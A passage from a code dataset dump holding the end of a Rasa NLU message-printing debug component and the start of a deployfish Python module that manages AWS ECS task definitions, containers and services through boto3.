import Token\n\nif typing.TYPE_CHECKING:\n from rasa.nlu.model import Metadata\n\n\nclass Printer(Component):\n \"\"\"\n A component that prints the message. Useful for debugging while running `rasa shell`.\n\n **Configurable Variables:**\n\n - alias: gives an extra name to the componentn and adds an extra message that is printed\n\n Usage:\n\n ```yml\n language: en\n\n pipeline:\n - name: WhitespaceTokenizer\n - name: LexicalSyntacticFeaturizer\n - name: rasa_nlu_examples.meta.Printer\n alias: before count vectors\n - name: CountVectorsFeaturizer\n analyzer: char_wb\n min_ngram: 1\n max_ngram: 4\n - name: rasa_nlu_examples.meta.Printer\n alias: after count vectors\n - name: DIETClassifier\n epochs: 1\n\n policies:\n - name: MemoizationPolicy\n - name: KerasPolicy\n - name: MappingPolicy\n ```\n\n \"\"\"\n\n @classmethod\n def required_components(cls) -> List[Type[Component]]:\n return []\n\n defaults = {\"alias\": None}\n language_list = None\n\n def __init__(self, component_config: Optional[Dict[Text, Any]] = None) -> None:\n super().__init__(component_config)\n\n @staticmethod\n def _is_list_tokens(v: Any) -> bool:\n if isinstance(v, List):\n if len(v) > 0:\n if isinstance(v[0], Token):\n return True\n return False\n\n def train(\n self,\n training_data: TrainingData,\n config: Optional[RasaNLUModelConfig] = None,\n **kwargs: Any,\n ) -> None:\n pass\n\n def process(self, message: Message, **kwargs: Any) -> None:\n if self.component_config[\"alias\"]:\n print(\"\\n\")\n print(self.component_config[\"alias\"])\n print(f\"text : {message.text}\")\n for k, v in message.data.items():\n if self._is_list_tokens(v):\n print(f\"{k}: {[t.text for t in v]}\")\n elif isinstance(v, np.ndarray):\n print(f\"{k}: Dense array with shape {v.shape}\")\n else:\n print(f\"{k}: {v.__repr__()}\")\n\n def persist(self, file_name: Text, model_dir: Text) -> Optional[Dict[Text, Any]]:\n pass\n\n @classmethod\n def load(\n cls,\n meta: Dict[Text, Any],\n model_dir: Optional[Text] = None,\n model_metadata: Optional[\"Metadata\"] = None,\n cached_component: Optional[\"Component\"] = None,\n **kwargs: Any,\n ) -> \"Component\":\n \"\"\"Load this component from file.\"\"\"\n\n if cached_component:\n return cached_component\n\n return cls(meta)\n","sub_path":"rasa_nlu_examples/meta/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"162567806","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nfrom datetime import datetime\nimport json\nimport os\nimport os.path\nimport random\nimport re\nimport shlex\nimport string\nimport subprocess\nfrom tempfile import NamedTemporaryFile\nimport time\nimport tzlocal\n\nimport boto3\nimport botocore\n\nfrom deployfish.aws.asg import ASG\nfrom deployfish.aws.appscaling import ApplicationAutoscaling\nfrom deployfish.aws.systems_manager import ParameterStore\nfrom deployfish.aws.service_discovery import ServiceDiscovery\n\n\nclass VolumeMixin(object):\n \"\"\"\n This mixin provides a method that both `TaskDefinition` and\n `ContainerDefinition` use to generate the volume 'name' attribute on the\n `TaskDefinition`.\n\n Since both `TaskDefinition` and `ContainerDefinition` generate that name in\n the same way, we don't have to name the volume in the `TaskDefinition` and\n pass those names to the `ContainerDefinitions`.\n \"\"\"\n\n MOUNT_RE = re.compile('[^A-Za-z0-9_-]')\n\n def mount_from_host_path(self, host_path):\n \"\"\"\n Generate an AWS compatible volume name for our `TaskDefinition`. This\n is the `name` key in the volume definition we supply to\n `register_task_definition()` (example below):\n\n {\n 'name': 'volume_name',\n 'host': { 'sourcePath': 'host_path' }\n }\n\n :param host_path: the absolute path to a folder or file on the container\n instance\n :type host_path: string\n\n :rtype: string\n \"\"\"\n mount = self.MOUNT_RE.sub('_', host_path)\n mount = mount[254] if len(mount) > 254 else mount\n return mount\n\n\nclass LogConfiguration(object):\n \"\"\"\n Manage the logging configuration in a container definition.\n \"\"\"\n\n def __init__(self, aws={}, yml={}):\n\n if aws:\n self.from_aws(aws)\n\n if yml:\n self.from_yaml(yml)\n\n def from_aws(self, aws):\n self.driver = aws['logDriver']\n self.options = aws['options']\n\n def from_yaml(self, yml):\n self.driver = yml['driver']\n self.options = yml['options']\n\n def render(self):\n return(self.__render())\n\n def __render(self):\n r = {}\n r['logDriver'] = self.driver\n r['options'] = self.options\n return r\n\n\nclass ContainerDefinition(VolumeMixin):\n \"\"\"\n Manage one of the container definitions in a `TaskDefinition`.\n \"\"\"\n\n def __init__(self, aws={}, yml={}):\n \"\"\"\n :param aws: an entry from the `containerDefinitions` list in the\n dictionary returned by `describe_task_definitions()`. If\n the container has any volumes, this dict will differ from\n the canonical AWS source in that it will have volume definitions\n from the task definition added.\n :type aws: dict\n\n :param yml: a container definition from our deployfish.yml file\n :type yml: dict\n \"\"\"\n self.ecs = boto3.client('ecs')\n self.ecr = boto3.client('ecr')\n self.__aws_container_definition = aws\n\n self._name = None\n self._cpu = None\n self._image = None\n self._memory = None\n self._command = None\n self._entryPoint = None\n self._essential = True\n self._dockerLabels = {}\n self._volumes = []\n self._extraHosts = []\n self._links = []\n self._ulimits = []\n self._environment = {}\n self._portMappings = []\n self.logConfiguration = None\n\n if 'logConfiguration' in aws:\n self.logConfiguration = LogConfiguration(aws['logConfiguration'])\n\n if yml:\n self.from_yaml(yml)\n\n def __getattr__(self, attr): #NOQA\n try:\n return self.__getattribute__(attr)\n except AttributeError:\n if attr in ['cpu', 'dockerLabels', 'essential', 'image', 'links', 'memory', 'name']:\n if (not getattr(self, '_' + attr) and self.__aws_container_definition and attr in self.__aws_container_definition):\n setattr(self, \"_\" + attr, self.__aws_container_definition[attr])\n return getattr(self, '_' + attr)\n elif attr == 'environment':\n if (not self._environment and self.__aws_container_definition and 'environment' in self.__aws_container_definition):\n environment = self.__aws_container_definition['environment']\n for var in environment:\n self._environment[var['name']] = var['value']\n return self._environment\n elif attr == 'portMappings':\n if (not self._portMappings and self.__aws_container_definition and 'portMappings' in self.__aws_container_definition):\n ports = self.__aws_container_definition['portMappings']\n for mapping in ports:\n self._portMappings.append('{}:{}/{}'.format(mapping['hostPort'], mapping['containerPort'], mapping['protocol']))\n return self._portMappings\n elif attr == 'command':\n if (not self._command and self.__aws_container_definition and 'command' in self.__aws_container_definition):\n self._command = ' '.join(self.__aws_container_definition['command'])\n return self._command\n elif attr == 'entryPoint':\n if (not self._entryPoint and self.__aws_container_definition and 'entryPoint' in self.__aws_container_definition):\n self._entryPoint = ' '.join(self.__aws_container_definition['entryPoint'])\n return self._entryPoint\n elif attr == 'ulimits':\n if (not self._ulimits and self.__aws_container_definition and 'ulimits' in self.__aws_container_definition):\n for ulimit in self.__aws_container_definition['ulimits']:\n self._ulimits.append({\n 'name': ulimit['name'],\n 'soft': ulimit['softLimit'],\n 'hard': ulimit['hardLimit'],\n })\n return self._ulimits\n else:\n raise AttributeError\n\n def __setattr__(self, attr, value):\n if attr in ['command', 'cpu', 'dockerLabels', 'entryPoint', 'environment', 'essential', 'image', 'links', 'memory', 'name', 'ulimits']:\n setattr(self, \"_\" + attr, value)\n else:\n super(ContainerDefinition, self).__setattr__(attr, value)\n\n @property\n def extraHosts(self):\n \"\"\"\n Return a deployfish-formatted version of the container's extra hosts\n (extra lines to add to the ``/etc/hosts`` file for the container).\n\n We'll return extra hosts definitions that look like this:\n\n \"HOSTNAME:IPADDRESS\"\n\n :rtype: list of strings\n \"\"\"\n if (not self._extraHosts and self.__aws_container_definition and 'extraHosts' in self.__aws_container_definition):\n for eh in self.__aws_container_definition['extraHosts']:\n self._extraHosts.append('{}:{}'.format(eh['hostname'], eh['ipAddress']))\n return self._extraHosts\n\n @extraHosts.setter\n def extraHosts(self, extraHosts):\n self._extraHosts = extraHosts\n\n @property\n def volumes(self):\n \"\"\"\n Return a deployfish-formatted version of the volumes for this\n container. Volume definitions will always look like one of:\n\n \"HOST:CONTAINER\"\n \"HOST:CONTAINER:ro\"\n\n where `HOST` is the path on the container instance to mount and\n `CONTAINER` is the path in the container on which to mount that.\n\n :rtype: list of strings\n \"\"\"\n\n # self.__aws_container_definition[\"sourceVolumes\"] is not from AWS; it's\n # something we injected in TaskDefinition.from_aws()\n if (not self._volumes and self.__aws_container_definition and 'mountPoints' in self.__aws_container_definition):\n for mp in self.__aws_container_definition['mountPoints']:\n print(mp)\n volume = \"{}:{}\".format(self.__aws_container_definition['sourceVolumes'][mp['sourceVolume']], mp['containerPath'])\n if mp['readOnly']:\n volume += \":ro\"\n self._volumes.append(volume)\n return self._volumes\n\n @volumes.setter\n def volumes(self, value):\n self._volumes = value\n\n def inject_environment(self, environment):\n self.environment.update(environment)\n\n def __render(self): # NOQA\n \"\"\"\n Generate the dict we will pass to boto3's `register_task_definition()`\n in the `containerDefinitions` section. This will be called by the\n parent `TaskDefinition` when generating the full set of arguments for\n `register_task_definition()`\n \"\"\"\n r = {}\n r['name'] = self.name\n r['image'] = self.image\n r['cpu'] = self.cpu\n r['memory'] = self.memory\n if self.portMappings:\n r['portMappings'] = []\n for mapping in self.portMappings:\n fields = mapping.split(':')\n m = {}\n if len(fields) == 1:\n m['containerPort'] = int(fields[0])\n m['protocol'] = 'tcp'\n else:\n m['hostPort'] = int(fields[0])\n m['containerPort'] = fields[1]\n if '/' in m['containerPort']:\n (port, protocol) = m['containerPort'].split('/')\n m['containerPort'] = int(port)\n m['protocol'] = protocol\n else:\n m['containerPort'] = int(m['containerPort'])\n m['protocol'] = 'tcp'\n r['portMappings'].append(m)\n r['essential'] = self.essential\n if self.entryPoint:\n r['entryPoint'] = shlex.split(self.entryPoint)\n if self.command:\n r['command'] = shlex.split(self.command)\n if self.links:\n r['links'] = self.links\n if self.environment:\n r['environment'] = []\n for key, value in self.environment.items():\n r['environment'].append({\n 'name': key,\n 'value': value\n })\n if self.ulimits:\n r['ulimits'] = []\n for limit in self.ulimits:\n l = {}\n l['name'] = limit['name']\n l['softLimit'] = limit['soft']\n l['hardLimit'] = limit['hard']\n r['ulimits'].append(l)\n if self.dockerLabels:\n r['dockerLabels'] = self.dockerLabels\n if self.volumes:\n r['mountPoints'] = []\n for volume in self.volumes:\n v = {}\n fields = volume.split(':')\n v['sourceVolume'] = self.mount_from_host_path(fields[0])\n v['containerPath'] = fields[1]\n if len(fields) == 3:\n if fields[2] == 'ro':\n v['readOnly'] = True\n else:\n v['readOnly'] = False\n r['mountPoints'].append(v)\n if self.extraHosts:\n r['extraHosts'] = []\n for eh in self.extraHosts:\n hostname, ipAddress = eh.split(':')\n r['extraHosts'].append({'hostname': hostname, 'ipAddress': ipAddress})\n if self.logConfiguration:\n r['logConfiguration'] = self.logConfiguration.render()\n return r\n\n def update_task_labels(self, family_revisions):\n \"\"\"\n If our service has helper tasks (as defined in the `tasks:` section of\n the deployfish.yml file), we need to record the appropriate\n `:` of each of our helper tasks for each version of\n our service. We do that by storing them as docker labels on the first\n container of the service task definition.\n\n This method purges any existing helper task related dockerLabels and\n replaces them with the contents of `labels`, a dict for which the key is\n the docker label key and the value is the docker label value.\n\n The `family_revisions` list is a list of the `:` strings\n for all the helper tasks for the service.\n\n We're storing the task ``:`` for the helper tasks for\n our application in the docker labels on the container. All such labels\n will start with \"`edu.caltech.task.`\",\n\n :param family_revisions: dict of `:` strings\n :type family_revisions: list of strings\n \"\"\"\n l = {}\n for key, value in self.dockerLabels.items():\n if not key.startswith('edu.caltech.task'):\n l[key] = value\n for revision in family_revisions:\n family = revision.split(':')[0]\n l['edu.caltech.task.{}.id'.format(family)] = revision\n self.dockerLabels = l\n\n def get_helper_tasks(self):\n \"\"\"\n Return a information about our helper tasks for this task definition.\n This is in the form of a dictionary like so:\n\n {``: `:`, ...}\n\n If our service has helper tasks (as defined in the `tasks:` section of\n the deployfish.yml file), we've recorded the appropriate\n `:` of each them as docker labels in the container\n definition of the first container in the task definition.\n\n Those docker labels will be in this form:\n\n edu.caltech.tasks..id=:\n\n :rtype: dict of strings\n \"\"\"\n l = {}\n for key, value in self.dockerLabels.items():\n if key.startswith('edu.caltech.task'):\n l[value.split(':')[0]] = value\n return l\n\n def render(self):\n return(self.__render())\n\n def from_yaml(self, yml): # NOQA\n \"\"\"\n Load this object from data in from a container section of the\n `deployfish.yml` file.\n\n :param yml: a container section from our deployfish.yml file\n :type yml: dict\n \"\"\"\n self.name = yml['name']\n self.image = yml['image']\n if 'cpu' in yml:\n self.cpu = yml['cpu']\n else:\n self.cpu = 256 # Give a reasonable default if none was specified\n if 'memory' in yml:\n self.memory = yml['memory']\n else:\n self.memory = 512 # Give a reasonable default if none was specified\n if 'command' in yml:\n self.command = yml['command']\n if 'entrypoint' in yml:\n self.entryPoint = yml['entrypoint']\n if 'ports' in yml:\n self.portMappings = yml['ports']\n if 'ulimits' in yml:\n for key, value in yml['ulimits'].items():\n if type(value) != dict:\n soft = value\n hard = value\n else:\n soft = value['soft']\n hard = value['hard']\n self.ulimits.append({\n 'name': key,\n 'soft': soft,\n 'hard': hard\n })\n if 'environment' in yml:\n if type(yml['environment']) == dict:\n self.environment = yml['environment']\n else:\n for env in yml['environment']:\n key, value = env.split('=')[0], '='.join(env.split('=')[1:])\n self.environment[key] = value\n if 'links' in yml:\n self.links = yml['links']\n if 'labels' in yml:\n if type(yml['labels']) == dict:\n self.dockerLabels = yml['labels']\n else:\n for l in yml['labels']:\n key, value = l.split('=')\n self.dockerLabels[key] = value\n if 'volumes' in yml:\n self.volumes = yml['volumes']\n if 'extra_hosts' in yml:\n self.extraHosts = yml['extra_hosts']\n if 'logging' in yml:\n self.logConfiguration = LogConfiguration(yml=yml['logging'])\n\n def __str__(self):\n \"\"\"\n Pretty print what we would pass to `register_task_definition()` in the\n `containerDefinitions` argument.\n \"\"\"\n return json.dumps(self.render(), indent=2, sort_keys=True)\n\n\nclass TaskDefinition(VolumeMixin):\n\n @staticmethod\n def url(task_def):\n \"\"\"\n Return the AWS Web Console URL for task defintion ``task_def`` as\n Markdown. Suitable for inserting into a Slack message.\n\n :param region: the name of a valid AWS region\n :type region: string\n\n :param task_def: a \"``:``\" identifier for a task\n definition. E.g. ``access-caltech-admin:1``\n :type task_def: string\n\n :rtype: string\n \"\"\"\n region = os.environ.get('AWS_DEFAULT_REGION', 'us-west-2')\n return u\"\".format(\n region,\n region,\n re.sub(':', '/', task_def),\n task_def\n )\n\n def __init__(self, task_definition_id=None, yml={}):\n self.ecs = boto3.client('ecs')\n\n self.__defaults()\n if task_definition_id:\n self.from_aws(task_definition_id)\n if yml:\n self.from_yaml(yml)\n\n def __defaults(self):\n self._family = None\n self._taskRoleArn = None\n self._networkMode = 'bridge'\n self._revision = None\n self.containers = []\n self.__aws_task_definition = {}\n self.requiresCompatibilities = []\n self._cpu = None\n self._memory = None\n self._executionRoleArn = None\n\n def from_aws(self, task_definition_id):\n self.__aws_task_definition = self.__get_task_definition(task_definition_id)\n # In AWS, the task definition knows the \"volume name\" to host path\n # mapping and stores it in its \"volumes\" portion of the task definition,\n # and the container definition knows to mount \"volume name\" on container\n # path, so in order to get the \"host_path:container_path\" string like\n # what docker-compose uses, we need a bit of info from the task def and\n # a bit from the container def.\n\n # We'd like the container definition to be able to return\n # \"host_path:container_path\", so we inject the \"volume name\" to host\n # path mapping into the container definition dict from AWS as\n # \"sourceVolumes\"\n\n sourceVolumes = {}\n if 'volumes' in self.__aws_task_definition and self.__aws_task_definition['volumes']:\n for v in self.__aws_task_definition['volumes']:\n sourceVolumes[v['name']] = v['host']['sourcePath']\n self.containers = []\n for cd in self.__aws_task_definition['containerDefinitions']:\n if sourceVolumes:\n cd['sourceVolumes'] = sourceVolumes\n self.containers.append(ContainerDefinition(cd))\n\n @property\n def arn(self):\n \"\"\"\n If this task defitinion exists in AWS, return our ARN.\n Else, return ``None``.\n\n :rtype: string or ``None``\n \"\"\"\n if self.__aws_task_definition:\n return self.__aws_task_definition['taskDefinitionArn']\n return None\n\n @property\n def executionRoleArn(self):\n \"\"\"\n Return the execution role of our service. Only needed if launchType is FARGATE\n and logDriver is awslogs.\n\n :rtype: string\n \"\"\"\n if self.__aws_service:\n self._executionRoleArn = self.__aws_service['executionRoleArn']\n return self._executionRoleArn\n\n @executionRoleArn.setter\n def executionRoleArn(self, executionRoleArn):\n self._executionRoleArn = executionRoleArn\n\n @property\n def family_revision(self):\n \"\"\"\n If this task defitinion exists in AWS, return our ``:`` string.\n Else, return ``None``.\n\n :rtype: string or ``None``\n \"\"\"\n if self.__aws_task_definition:\n return \"{}:{}\".format(self.family, self.revision)\n else:\n return None\n\n def __getattr__(self, attr):\n try:\n return self.__getattribute__(attr)\n except AttributeError:\n if attr in ['family', 'networkMode', 'taskRoleArn', 'revision', 'requiresCompatibilities', 'executionRoleArn', 'cpu', 'memory']:\n if not getattr(self, \"_\" + attr) and self.__aws_task_definition and attr in self.__aws_task_definition:\n setattr(self, \"_\" + attr, self.__aws_task_definition[attr])\n return getattr(self, \"_\" + attr)\n else:\n raise AttributeError\n\n def __setattr__(self, attr, value):\n if attr in ['family', 'networkMode', 'taskRoleArn', 'requiresCompatibilities', 'executionRoleArn', 'cpu', 'memory']:\n setattr(self, \"_\" + attr, value)\n else:\n super(TaskDefinition, self).__setattr__(attr, value)\n\n def __get_task_definition(self, task_definition_id):\n if task_definition_id:\n try:\n response = self.ecs.describe_task_definition(\n taskDefinition=task_definition_id\n )\n except botocore.exceptions.ClientError:\n return {}\n else:\n return response['taskDefinition']\n else:\n return {}\n\n def __get_volumes(self):\n \"\"\"\n Generate the \"volumes\" argument for the ``register_task_definition()`` call.\n\n :rtype: dict\n \"\"\"\n volume_names = set()\n volumes = []\n for c in self.containers:\n for v in c.volumes:\n host_path = v.split(':')[0]\n name = self.mount_from_host_path(host_path)\n if name not in volume_names:\n volumes.append({\n 'name': name,\n 'host': {'sourcePath': host_path}\n })\n volume_names.add(name)\n return volumes\n\n def __render(self):\n \"\"\"\n Build the argument list for the ``register_task_definition()`` call.\n\n :rtype: dict\n \"\"\"\n r = {}\n r['family'] = self.family\n r['networkMode'] = self.networkMode\n if self.cpu:\n r['cpu'] = str(self.cpu)\n r['memory'] = str(self.memory)\n r['requiresCompatibilities'] = self.requiresCompatibilities\n if self.taskRoleArn:\n r['taskRoleArn'] = self.taskRoleArn\n if self.executionRoleArn:\n r['executionRoleArn'] = self.executionRoleArn\n r['containerDefinitions'] = [c.render() for c in self.containers]\n volumes = self.__get_volumes()\n if volumes:\n r['volumes'] = volumes\n return r\n\n def render(self):\n return self.__render()\n\n def update_task_labels(self, family_revisions):\n self.containers[0].update_task_labels(family_revisions)\n\n def get_helper_tasks(self):\n return self.containers[0].get_helper_tasks()\n\n def create(self):\n kwargs = self.__render()\n response = self.ecs.register_task_definition(**kwargs)\n self.__defaults()\n self.from_aws(response['taskDefinition']['taskDefinitionArn'])\n\n def inject_environment(self, environment):\n for container in self.containers:\n container.inject_environment(environment)\n\n def from_yaml(self, yml):\n self.family = yml['family']\n if 'task_role_arn' in yml:\n self.taskRoleArn = yml['task_role_arn']\n if 'network_mode' in yml:\n self.networkMode = yml['network_mode']\n if 'cpu' in yml:\n self.cpu = yml['cpu']\n if 'memory' in yml:\n self.memory = yml['memory']\n self.containers = [ContainerDefinition(yml=c_yml) for c_yml in yml['containers']]\n if 'launch_type' in yml and yml['launch_type'] == 'FARGATE':\n self.executionRoleArn = yml['execution_role']\n self.requiresCompatibilities = ['FARGATE']\n\n def __str__(self):\n return json.dumps(self.__render(), indent=2, sort_keys=True)\n\n\nclass Task(object):\n \"\"\"\n This is a batch job that will be run via the ECS RunTask API call. It runs\n for a short time and then dies.\n\n The reason this class exists is to enable us to run one-off or periodic\n functions (migrate datbases, clear caches, update search indexes, do\n database backups or restores, etc.) for our services.\n \"\"\"\n\n def __init__(self, clusterName, yml={}):\n \"\"\"\n :param clusterName: the name of the cluster in which we'll run our\n helper tasks\n :type clusterName: string\n\n :param yml: the task definition information for the task from our\n deployfish.yml file\n :type yml: dict\n \"\"\"\n self.clusterName = clusterName\n self.ecs = boto3.client('ecs')\n self.commands = {}\n self.from_yaml(yml)\n self.desired_task_definition = TaskDefinition(yml=yml)\n self.active_task_definition = None\n\n def from_yaml(self, yml):\n if 'commands' in yml:\n for key, value in yml['commands'].items():\n self.commands[key] = value.split()\n\n def from_aws(self, taskDefinition):\n self.active_task_definition = TaskDefinition(taskDefinition)\n\n @property\n def family(self):\n \"\"\"\n Returns the task definition family or base name.\n\n :return: string\n \"\"\"\n return self.desired_task_definition.family\n\n @property\n def family_revision(self):\n \"\"\"\n Returns the current version of the task definition.\n\n :return: string\n \"\"\"\n return self.active_task_definition.family_revision\n\n def create(self):\n \"\"\"\n Creates the task definition.\n\n :return: None\n \"\"\"\n self.desired_task_definition.create()\n self.from_aws(self.desired_task_definition.arn)\n\n def run(self, command):\n \"\"\"\n Runs the task\n\n :param command: The Docker command to run.\n :return: string - only returns on failure\n \"\"\"\n response = self.ecs.run_task(\n cluster=self.clusterName,\n taskDefinition=self.active_task_definition.arn,\n overrides={\n 'containerOverrides': [\n {\n 'name': self.active_task_definition.containers[0].name,\n 'command': self.commands[command]\n }\n ]\n }\n )\n if response['failures']:\n return response['failures'][0]['reason']\n return \"\"\n\n\nclass Service(object):\n \"\"\"\n An object representing an ECS service.\n \"\"\"\n\n @classmethod\n def url(cluster, service):\n \"\"\"\n Return the AWS Web Console URL for service ``service`` in ECS cluster ``cluster``\n in region ``region`` as Markdown. Suitable for inserting into a Slack message.\n\n :param region: the name of a valid AWS region\n :type region: string\n\n :param cluster: the name of an ECS cluster\n :type cluster: string\n\n :param service: the name of an ECS service in cluster ``cluster``\n :type service: string\n\n :rtype: string\n \"\"\"\n region = os.environ.get('AWS_DEFAULT_REGION', 'us-west-2')\n return u\"\".format(\n region,\n region,\n cluster,\n service,\n service\n )\n\n def __init__(self, yml={}):\n self.ecs = boto3.client('ecs')\n self.asg = None\n self.scaling = None\n self.serviceDiscovery = None\n self.searched_hosts = False\n self.is_running = False\n self.hosts = None\n self.host_ips = None\n self._serviceName = None\n self._clusterName = None\n self.__aws_service = None\n self._desired_count = 0\n self._minimumHealthyPercent = 0\n self._maximumPercent = 200\n self._launchType = 'EC2'\n self.__service_discovery = []\n self.__defaults()\n self.from_yaml(yml)\n self.from_aws()\n\n def __defaults(self):\n self._roleArn = None\n self.__load_balancer = {}\n self.__vpc_configuration = {}\n\n def __get_service(self):\n \"\"\"\n If a service named ``self.serviceName`` in a cluster named\n ``self.clusterName`` exists, return its data, else return an\n empty dict.\n\n :rtype: dict\n \"\"\"\n response = self.ecs.describe_services(\n cluster=self._clusterName,\n services=[self._serviceName]\n )\n if response['services'] and response['services'][0]['status'] != 'INACTIVE':\n return response['services'][0]\n else:\n return {}\n\n def __getattr__(self, attr):\n \"\"\"\n We have this __getattr__ here to access some attributes on the dict that AWS\n returns to us via the ``describe_services()`` call.\n \"\"\"\n try:\n return self.__getattribute__(attr)\n except AttributeError:\n if attr in ['deployments', 'taskDefinition', 'clusterArn', 'desiredCount', 'runningCount', 'pendingCount', 'networkConfiguration', 'executionRoleArn']:\n if self.__aws_service:\n return self.__aws_service[attr]\n return None\n else:\n raise AttributeError\n\n def exists(self):\n \"\"\"\n Return ``True`` if our service exists in the specified cluster in AWS,\n ``False`` otherwise.\n\n :rtype: boolean\n \"\"\"\n if self.__aws_service:\n return True\n return False\n\n @property\n def count(self):\n \"\"\"\n For services yet to be created, return the what we want the task count\n to be when we create the service.\n\n For services already existing in AWS, return the actual current number\n of running tasks.\n\n :rtype: int\n \"\"\"\n if self.__aws_service:\n self._count = self.__aws_service['runningCount']\n return self._count\n\n @count.setter\n def count(self, count):\n \"\"\"\n Set the count of tasks this service should run. Setting this\n has no effect if the service already exists. Use ``Service.scale()``\n to affect this instead.\n\n :param count: number of tasks this service should run\n :type count: int\n \"\"\"\n self._count = count\n\n @property\n def maximumPercent(self):\n \"\"\"\n For services yet to be created, return the what we want the minimum count\n to be when we create the service.\n\n For services already existing in AWS, return the actual maximum percent.\n\n :rtype: int\n \"\"\"\n if self.__aws_service:\n self._maximumPercent = self.__aws_service['deploymentConfiguration']['maximumPercent']\n return self._maximumPercent\n\n @maximumPercent.setter\n def maximumPercent(self, maximumPercent):\n \"\"\"\n Set the maximum percent of tasks this service is allowed to be in the RUNNING\n or PENDING state during a deployment. Setting this\n has no effect if the service already exists.\n\n :param maximumPercent: Set the maximum percent of tasks this service is allowed to run\n :type count: int\n \"\"\"\n self._maximumPercent = maximumPercent\n\n @property\n def minimumHealthyPercent(self):\n \"\"\"\n For services yet to be created, return the what we want the minimum count\n to be when we create the service.\n\n For services already existing in AWS, return the actual minimum capacity.\n\n :rtype: int\n \"\"\"\n if self.__aws_service:\n self._minimumHealthyPercent = self.__aws_service['deploymentConfiguration']['minimumHealthyPercent']\n return self._minimumHealthyPercent\n\n @minimumHealthyPercent.setter\n def minimumHealthyPercent(self, minimumHealthyPercent):\n \"\"\"\n Set the minimum percent of tasks this service must maintain in the RUNNING\n or PENDING state during a deployment. Setting this\n has no effect if the service already exists.\n\n :param maximumPercent: Set the minimum percent of tasks this service must maintain\n :type count: int\n \"\"\"\n self._minimumHealthyPercent = minimumHealthyPercent\n\n @property\n def serviceName(self):\n \"\"\"\n Return the name of our service.\n\n :rtype: string\n \"\"\"\n if self.__aws_service:\n self._serviceName = self.__aws_service['serviceName']\n return self._serviceName\n\n @serviceName.setter\n def serviceName(self, serviceName):\n self._serviceName = serviceName\n\n @property\n def launchType(self):\n \"\"\"\n Return the launch type of our service.\n\n :rtype: string\n \"\"\"\n if self.__aws_service:\n self._launchType = self.__aws_service['launchType']\n return self._launchType\n\n @launchType.setter\n def launchType(self, launchType):\n self._launchType = launchType\n\n @property\n def clusterName(self):\n \"\"\"\n Return the name of the cluster our service is or will be running in.\n\n :rtype: string\n \"\"\"\n if self.__aws_service:\n self._clusterName = os.path.basename(self.__aws_service['clusterArn'])\n return self._clusterName\n\n @clusterName.setter\n def clusterName(self, clusterName):\n self._clusterName = clusterName\n\n @property\n def roleArn(self):\n if self.__aws_service:\n self._roleArn = self.__aws_service['roleArn']\n return self._roleArn\n\n @roleArn.setter\n def roleArn(self, roleArn):\n self._roleArn = roleArn\n\n @property\n def client_token(self):\n token = 'token-{}-{}'.format(self.serviceName, self.clusterName)\n if len(token) > 36:\n token = token[0:35]\n return token\n\n @property\n def active_deployment(self):\n for deployment in self.deployments:\n if deployment['taskDefinition'] == self.taskDefinition:\n break\n return deployment\n\n def kill_task(self, task_arn):\n \"\"\"\n Kill off one of our tasks. Do nothing if the task doesn't belong to\n this service.\n\n :param task_arn: the ARN of an existing task in our service\n :type task_arn: string\n \"\"\"\n if task_arn in self.task_arns:\n self.ecs.stop_task(\n cluster=self.clusterName,\n task=task_arn\n )\n\n def restart(self, hard=False):\n \"\"\"\n Kill off tasks in the our service one by one, letting them be\n replaced by tasks from the same task definition. This effectively\n \"restarts\" the tasks.\n\n :param hard: if True, kill off all running tasks instantly\n :type hard: boolean\n \"\"\"\n for task_arn in self.task_arns:\n self.kill_task(task_arn)\n if not hard:\n self.wait_until_stable()\n if hard:\n self.wait_until_stable()\n\n @property\n def task_arns(self):\n \"\"\"\n Returns a list of taskArns for all tasks currently running in the service.\n\n :rtype: list ot strings\n \"\"\"\n response = self.ecs.list_tasks(\n cluster=self.clusterName,\n serviceName=self.serviceName\n )\n return response['taskArns']\n\n @property\n def load_balancer(self):\n \"\"\"\n Returns the load balancer, either elb or alb, if it exists.\n\n :return: dict\n \"\"\"\n if self.__aws_service:\n if self.__aws_service['loadBalancers']:\n if 'loadBalancerName' in self.__aws_service['loadBalancers'][0]:\n self.__load_balancer = {\n 'type': 'elb',\n 'load_balancer_name': self.__aws_service['loadBalancers'][0]['loadBalancerName'],\n }\n else:\n self.__load_balancer = {\n 'type': 'alb',\n 'target_group_arn': self.__aws_service['loadBalancers'][0]['targetGroupArn'],\n }\n self.__load_balancer['container_name'] = self.__aws_service['loadBalancers'][0]['containerName']\n self.__load_balancer['container_port'] = self.__aws_service['loadBalancers'][0]['containerPort']\n return self.__load_balancer\n\n def set_elb(self, load_balancer_name, container_name, container_port):\n self.__load_balancer = {\n 'type': 'elb',\n 'load_balancer_name': load_balancer_name,\n 'container_name': container_name,\n 'container_port': container_port\n }\n\n def set_alb(self, target_group_arn, container_name, container_port):\n self.__load_balancer = {\n 'type': 'alb',\n 'target_group_arn': target_group_arn,\n 'container_name': container_name,\n 'container_port': container_port\n }\n\n @property\n def vpc_configuration(self):\n if self.__aws_service:\n self.__vpc_configuration = self.__aws_service['networkConfiguration']['awsvpcConfiguration']\n return self.__vpc_configuration\n\n def set_vpc_configuration(self, subnets, security_groups, public_ip):\n self.__vpc_configuration = {\n 'subnets': subnets,\n 'securityGroups': security_groups,\n 'assignPublicIp': public_ip\n }\n\n @property\n def service_discovery(self):\n if self.__aws_service:\n if self.__aws_service['serviceRegistries']:\n if 'registryArn' in self.__aws_service['serviceRegistries'][0]:\n self.__service_discovery = self.__aws_service['serviceRegistries']\n return self.__service_discovery\n\n @service_discovery.setter\n def service_discovery(self, arn):\n self.__service_discovery = [{'registryArn': arn}]\n\n def version(self):\n if self.active_task_definition:\n if self.load_balancer:\n for c in self.active_task_definition.containers:\n if c.name == self.load_balancer['container_name']:\n return c.image.split(\":\")[1]\n else:\n # Just give the first container's version?\n return self.active_task_definition.containers[0].image.split(\":\")[1]\n return None\n\n def __render(self, task_definition_id):\n \"\"\"\n Generate the dict we will pass to boto3's `create_service()`.\n\n :rtype: dict\n \"\"\"\n r = {}\n r['cluster'] = self.clusterName\n r['serviceName'] = self.serviceName\n r['launchType'] = self.launchType\n if self.load_balancer:\n if self.launchType != 'FARGATE':\n r['role'] = self.roleArn\n r['loadBalancers'] = []\n if self.load_balancer['type'] == 'elb':\n r['loadBalancers'].append({\n 'loadBalancerName': 